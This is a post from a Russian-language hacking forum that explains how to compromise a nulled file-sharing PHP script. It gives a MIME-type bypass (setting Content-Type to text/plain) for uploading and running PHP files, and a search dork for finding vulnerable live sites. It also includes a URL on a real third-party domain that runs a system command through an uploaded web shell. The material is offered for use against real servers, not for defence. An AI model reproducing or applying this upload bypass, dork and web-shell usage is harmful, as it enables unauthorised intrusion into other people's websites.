HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 15.09.2010, 20:12
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
С нами: 10892546

Репутация: 2274


По умолчанию

Тестил вот этот, зануленый

http://www.nulled.ws/attachment.php?attachmentid=15074&d=1225918711

Реги там нет, сам невижу что там, мне emillord дал ссыль на свой обменик, я захекал

Заливаем .php файл с phpinfo() и скачиваем, предлагает сохранить, но там будет результат

Если скрипт ругается, что недопустимый тип:

Скрипт берёт mime type из массива $_FILES а там mime type берётся из вашего запроса к серверу, сниффаем, меняем

Content-Type: ocet/stream (или чего оно там у вас)

на

Content-Type: text/plain

пых файл заливается, запускается... всё

исходники вам показать немогу, лень и нет у меня их, нет реги на нулледе, но emillord сказал он тама качал

ну как-то так...

===========

дорк inurl:view-file.html?file=

первая ссылка - ломаеца как задумывалось

токо я из phpinfo взял прямой путь, вот

http://www.sharefile.org/storage/1iecwexb3ibhfsc2ubceacg7zwitr5.php?c=echo%20'%3Cpr e%3E';system('ls%20-al');%20exit;

какой-то школьник снёс
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.